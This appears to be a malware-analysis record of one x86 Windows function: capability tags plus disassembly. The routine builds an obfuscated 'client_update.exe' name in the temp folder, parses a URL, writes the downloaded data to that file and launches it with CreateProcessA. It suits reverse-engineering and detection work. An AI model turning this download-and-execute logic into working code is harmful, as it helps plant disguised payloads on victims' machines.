Function at 0x10002390
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Parse url
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x3dc
mov eax, dword [0x10011060]
xor eax, esp
mov dword [esp + 0x3d4], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0xcd]
push ebx
push eax
mov esi, ecx
mov byte [esp + 0x1f], bl
mov byte [esp + 0xd4], bl
call fcn.10006e80
add esp, 0xc
lea ecx, [esp + 0xc8]
push ecx
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, 0x65
lea edx, [esp + 0xb4]
push edx
mov byte [esp + 0xbb], al
mov byte [esp + 0xc4], al
mov byte [esp + 0xc6], al
mov byte [esp + 0xc8], al
mov cl, 0x74
lea eax, [esp + 0xcc]
push edi
push eax
mov byte [esp + 0xc0], 0x63
mov byte [esp + 0xc1], 0x6c
mov byte [esp + 0xc2], 0x69
mov byte [esp + 0xc4], 0x6e
mov byte [esp + 0xc5], cl
mov byte [esp + 0xc6], 0x5f
mov byte [esp + 0xc7], 0x75
mov byte [esp + 0xc8], 0x70
mov byte [esp + 0xc9], 0x64
mov byte [esp + 0xca], 0x61
mov byte [esp + 0xcb], cl
mov byte [esp + 0xcd], 0x2e
mov byte [esp + 0xcf], 0x78
mov byte [esp + 0xd1], bl
call fcn.10003c75
add esp, 0xc
push 0x103
lea ecx, [esp + 0x2dd]
push ebx
push ecx
mov byte [esp + 0x2e4], bl
call fcn.10006e80
add esp, 0xc
push 0x103
lea edx, [esp + 0x1d5]
push ebx
push edx
mov byte [esp + 0x1dc], bl
call fcn.10006e80
add esp, 0xc
push 0x3c
lea eax, [esp + 0x30]
push ebx
push eax
call fcn.10006e80
add esp, 0xc
lea eax, [esp + 0x2c]
push eax
push 0x10000000
lea ecx, [esp + 0x2e0]
lea edx, [esp + 0x1d8]
push esi
mov dword [esp + 0x38], 0x3c
mov dword [esp + 0x48], ecx
mov dword [esp + 0x4c], edi
mov dword [esp + 0x64], edx
mov dword [esp + 0x68], edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea ecx, [esp + 0x14]
push ecx
mov esi, eax
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x1d8]
push eax
mov ecx, esi
lea edx, [esp + 0x2e4]
call fcn.10001290
mov edi, dword [esp + 0x20]
add esp, 0xc
cmp edi, ebx
jbe 0x10002629
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
lea ecx, [esp + 0xe0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x1000259d
mov eax, dword [esp + 0x18]
push ebx
lea edx, [esp + 0x18]
push edx
push edi
push eax
push ebp
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x14], edi
jb 0x10002596
mov byte [esp + 0x13], 1
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x18]
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [esp + 0x13]
cmp al, bl
je 0x1000262b
push 0x44
lea edx, [esp + 0x6c]
push ebx
push edx
call fcn.10006e80
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x6c]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x1000ff19
lea edx, [esp + 0xec]
push edx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x90], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 1
sete al
cmp al, bl
jne 0x1000262b
lea eax, [esp + 0x1c]
push eax
lea ebx, [esp + 0x6c]
lea edi, [esp + 0xcc]
call fcn.10002220
add esp, 4
cmp al, 1
sete al
jmp 0x1000262b
mov al, bl
mov ecx, dword [esp + 0x3e4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10003bdd
add esp, 0x3dc
ret